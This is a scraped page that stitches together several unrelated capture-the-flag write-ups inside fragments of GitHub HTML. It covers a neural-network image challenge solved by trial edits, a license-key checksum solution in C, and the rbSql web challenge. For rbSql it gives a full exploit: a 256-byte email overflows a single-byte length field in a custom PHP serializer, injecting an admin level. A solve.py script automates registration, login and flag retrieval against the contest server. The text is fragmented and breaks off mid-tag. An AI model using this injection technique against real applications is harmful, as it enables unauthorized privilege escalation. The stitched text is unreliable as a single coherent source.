<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/phieulang1993/ctf-writeups/tree-commit/1aff10a64dd9f17c9b6a900ea0118915f000a246/2018/pragyan/police_academy" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/phieulang1993/ctf-writeups/file-list/master/2018/pragyan/police_academy"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>police_academy</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>police_academy.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
[https://rawsec.ml/en/PragyanCTF-2018-write-ups/#50-assemble-your-way-to-the-flag-reverse](https://rawsec.ml/en/PragyanCTF-2018-write-ups/#50-assemble-your-way-to-the-flag-reverse) |
## Solution
We can upload images to the server that with classify them with a neural network.
We have to submit an image that has a gud_prob > 0.99.
We are given the source code.
There is a lot of literature (research papers) about the subject of visualizing or even reversing a neural network, but I didn't find something easy to use.
Armed with ingenuity I decided to do it by hand.
Deploy the service locally and add a couple of debugging logs- weights of various layers- output values- normalized image
At first I tried with some simple images like pure white and pure black, and get a gud_prob of around 0.5-0.6.
I noticed that in the normalized white image there were some different values for the different colour channels of the image.
I took note of the ratios and made an image filled with a colour that respected those ratios (dark grey) and got a gud_prob of 10 ^ -40 and every value in the normalized image was negative.
So I conjectured that the image had to be overall somewhat bright (mostly positive values).
I inverted the colour and got a score of 0.7.
I then tried to play with the scoring system one paint stroke at a time.
After each edit we submit and observe the change in the score, decide if we want to revert and the next edit.
## The final result
It doesn't work every time, but one time is enough.
 |
## rbSql (Web, 215pt)
> http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/> > [Download](src)

I solved this challenge alongside my teammate [@tomtoump](https://github.com/tomtoump).
Source code was given for the challenge - you can find it in the [src](src) folder.
The challenge requires us to login with an admin account (`$_SESSION['lvl'] === "2"`) and access our profile in order to get flag.
```php elseif($page == "me"){ echo "uid : {$_SESSION['uid']}level : "; if($_SESSION['lvl'] == 1) echo "Guest"; elseif($_SESSION['lvl'] == 2) echo "Admin"; echo ""; include "dbconn.php"; $ret = rbSql("select","member_".$_SESSION['uid'],["id",$_SESSION['uid']]); echo "mail : {$ret['1']}ip : {$ret['3']}"; if($_SESSION['lvl'] === "2"){ echo "Flag : "; include "/flag"; rbSql("delete","member_".$_SESSION['uid'],["id",$_SESSION['uid']]); } }```
uid : {$_SESSION['uid']}
level : "; if($_SESSION['lvl'] == 1) echo "Guest"; elseif($_SESSION['lvl'] == 2) echo "Admin"; echo "
mail : {$ret['1']}
ip : {$ret['3']}
Flag :
Before going deeper, the overall application functionality is outlined below.
```phpif ($page == "login") { // GET /?page=login //...} elseif ($page == "join") { // GET /?page=join //...} elseif ($page == "login_chk") { // POST /?page=login_chk //...} elseif ($page == "join_chk") { // POST /?page=join_chk //...} elseif ($page == "photo") { //...} elseif ($page == "video") { //...} elseif ($page == "me") { //...} elseif ($page == "logout") { //...} else { //...}```
The application implements a **custom file-based database** (`dbconn.php`) allowing common CRUD operations (apart from update but this is not important for the challenge).
In order to start debugging, we can create the `rbSqlSchema` file using the following code:
```phpinclude "dbconn.php";$data = ["rbSqlSchema", "/rbSqlSchema", ["tableName", "filePath"]];rbWriteFile("./rbSqlSchema", $data);```
Upon user registration the following code is executed:
```php elseif($page == "join_chk"){ $uid = $_POST['uid']; $umail = $_POST['umail']; $upw = $_POST['upw']; if(($uid) && ($upw) && ($umail)){ if(strlen($uid) < 3) error("id too short"); if(strlen($uid) > 16) error("id too long"); if(!ctype_alnum($uid)) error("id must be alnum!"); if(strlen($umail) > 256) error("email too long"); include "dbconn.php"; $upw = md5($upw); $uip = $_SERVER['REMOTE_ADDR']; if(rbGetPath("member_".$uid)) error("id already existed"); $ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]); if(is_string($ret)) error("error"); $ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]); if(is_string($ret)) error("error"); exit("<script>location.href='./?page=login';</script>"); } else error("join fail"); }```
As seen in the `rbSql()` function, the statement
```php$ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);```
results in the creation of a separate table/file for each user and the same file is read to handle user authentication.
```php case "create": $result = rbReadFile(SCHEMA); for($i=3;$i<count($result);$i++){ if(strtolower($result[$i][0]) === strtolower($table)){ return "Error6"; } } $fileName = "../../rbSql/rbSql_".substr(md5(rand(10000000,100000000)),0,16); $result[$i] = array($table,$fileName); rbWriteFile(SCHEMA,$result); exec("touch {$fileName};chmod 666 {$fileName}"); $content = array($table,$fileName,$query); rbWriteFile($fileName,$content); break;```
We also observe that users are registered with `lvl === 1` (guest).
```php$ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);```
As shown above, user-input filtering is quite permissive:
```phpif(strlen($uid) < 3) error("id too short");if(strlen($uid) > 16) error("id too long");if(!ctype_alnum($uid)) error("id must be alnum!");if(strlen($umail) > 256) error("email too long");```
It seems like we can inject whatever we like in the queries (no chars filtered apart from length) but the question is what should we inject!
User registration triggers the following function chain:
```insert -> rbReadFile -> rbParse -> rbWriteFile -> rbPack```
User login triggers the following function chain:
```select -> rbReadFile -> rbParse```
Auditing the source code of the application we concluded that the most important function to analyze is `rbPack()` which is used to serialize the data passed as argument.
```phpdefine("STR", chr(1), true);define("ARR", chr(2), true);
function rbPack($data){ $rawData = ""; if(is_string($data)){ $rawData .= STR . chr(strlen($data)) . $data; } elseif(is_array($data)){ $rawData .= ARR . chr(count($data)); for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]); } return $rawData;}```
Byte `\x01` denotes string and byte `\x02` denotes array. Then **the length of the data is stored in a single byte**.
```php$a = array("a", "bb");```
The above array will be serialized to the following:
```\x02\x02\x01\x01a\x01\x02bb```
Because the length is stored in a single byte, instead of `strlen($data)` the code uses `chr(strlen($data))`.
In the [PHP documentation](https://secure.php.net/manual/en/function.chr.php) we read the following:
> Values outside the valid range (0..255) will be bitwise and'ed with 255, which is equivalent to the following algorithm:
```while ($ascii < 0) { $ascii += 256;}$ascii %= 256;```
```❯❯❯ php -r 'echo chr(256);' | hexdump0000000 000000001```
The final piece of the puzzle is that application will also allow email addresses with 256 chars!
```phpif(strlen($umail) > 256) error("email too long");```
The plan is to send a 256-bytes email that will result in the bytes `\x01\x00` to prepend the email. The user will have an empty email address and we start injecting the password field with the precalculated MD5 hash of the user password. Then we inject the IP address which will also act as padding to reach the required length of 256 bytes. Finally, we inject the user level which will be `2` for admin.
Below is given the layout of our final payload:
```\x01\x201a1dc91c907325c69271ddf0c944bc72\x01\xD9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x012```
Our solution is summarized in the [solve.py](solve.py) script.
```pythonimport reimport randomimport urllibimport hashlibimport requests
_target = 'http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/'_pw = 'pass'_uid = str(random.randint(1000, 9999))
mail = '\x01\x20' + hashlib.md5(_pw).hexdigest()lvl = '\x01\x012' # lvl === '2' => admin
pad_len = 256 - (len(mail) + len(lvl) + 2)ip = '\x01' + chr(pad_len) + 'A'*pad_len
payload = mail + ip + lvl
print '[+] UID: ' + _uidprint '[+] Password: ' + _pwprint '[+] Payload: ' + urllib.quote(payload)
s = requests.Session()s.post(_target+'?page=join_chk', data={"uid": _uid, "umail": payload, "upw": _pw})s.post(_target+'?page=login_chk', data={"uid": _uid, "upw": _pw})resp = s.get(_target+'?page=me')
flag = re.search('FLAG\{([^}]+)\}', resp.text).group(1)print '[+] Flag: FLAG{{{}}}'.format(flag)```
```[+] UID: 7951[+] Password: pass[+] Payload: %01%201a1dc91c907325c69271ddf0c944bc72%01%D9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%01%012[+] Flag: FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}``` |
You should definitely check [AdrenSys writeup](https://github.com/KosBeg/ctf-writeups/blob/master/EasyCTF_IV/LicenseCheck/README.md) as it covers details about the challenge and the binary, I don't want to repeatwhat is already done. (Thank you for a great writeup!)
What I would like to add is how I solved this challenge, in a slightly different way, without involving `Z3`(although it's a great tool, and you shouldtry it :) ).
The key idea is that all 4 parts of the `license key` must not be equal to 0, but we know that `(email_checksum ^ license_checksum ^ 0xaecbcc2) == 0`.
The email checksum is `0xaed12f1`, so the `license_checksum` should be `0x01ae33`. Keeping in mind that all 4 parts of the license keyshould not be equal to `0`, we can create a license key with 3 parts having value 1 and the 4th part having value `0x42b0`.
Here's a short program(written in C) to test our license. (If you find any mistake or issue or have a better idea, please contact me on twitter @0xcpu).Thanks!```C#include <stdio.h>#include <stdlib.h>#include <inttypes.h>#include <stdbool.h>#include <string.h>
int main(void){ int32_t email_chksum = 0x0AED0DEA; char const * const email = "[email protected]";
bool chk_switch = false; for (size_t i = 0; i < strlen(email); i++) { if (email[i] == '@') chk_switch = true;
if (chk_switch) { email_chksum ^= email[i]; } else { email_chksum += email[i]; } } printf("Email checksum: %#08x\n", email_chksum);
char const * const license = "00010001000142b0"; char dword[5] = {0}; char *endstr; int32_t lic_chksum = 0; for (size_t i = 0; i < 4; i++) { strncpy(dword, license + 4 * i, 4); printf("checksum: %#08lx\n", strtol(dword, &endstr, 0x1e)); lic_chksum ^= (int32_t)strtol(dword, &endstr, 0x1e); } printf("License checksum: %#08x\n", lic_chksum);
if ((lic_chksum ^ email_chksum ^ 0xaecbcc2) == 0) { puts("correct"); } else { puts("incorrect"); }}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 